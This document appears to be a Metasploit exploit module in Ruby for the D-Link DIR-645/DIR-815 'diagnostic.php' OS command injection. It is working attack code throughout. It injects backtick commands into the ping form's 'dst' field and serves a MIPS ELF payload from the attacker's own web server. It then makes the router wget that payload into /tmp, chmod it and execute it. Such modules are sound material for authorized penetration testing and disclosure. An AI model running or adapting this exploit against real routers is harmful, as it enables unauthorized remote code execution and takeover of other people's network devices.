D-Link DIR-645 / DIR-815 – ‘diagnostic.php’ Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution', 'Description' => %q{ Some DLink Routers are vulnerable to OS Command injection in the web interface. On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On version 1.03 authentication is needed in order to trigger the vulnerability, which has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B and DIR-600, are also affected by this vulnerability. Not every device includes wget which we need for deploying our payload. On such devices you could use the cmd generic payload and try to start telnetd or execute other commands. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module has been tested successfully on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the vulnerability. }, 'Author' => [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '92144' ], [ 'BID', '58938' ], [ 'EDB', '24926' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ] ], 'DisclosureDate' => 'Mar 05 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) register_options( [ OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) ], self.class) end def request(cmd,uri) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_post' => { "act" => "ping", "dst" => "` #{cmd}`" } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/diagnostic.php' if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") return end #thx to Juan for his awesome work on the mipsel elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the DLink device to download #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) #not working if we send all command together -> lets take three requests cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Dlink device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") # # chmod # cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Dlink device to chmod #{downfile}") res = request(cmd,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # # execute # cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Dlink device to execute #{downfile}") res = request(cmd,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end end |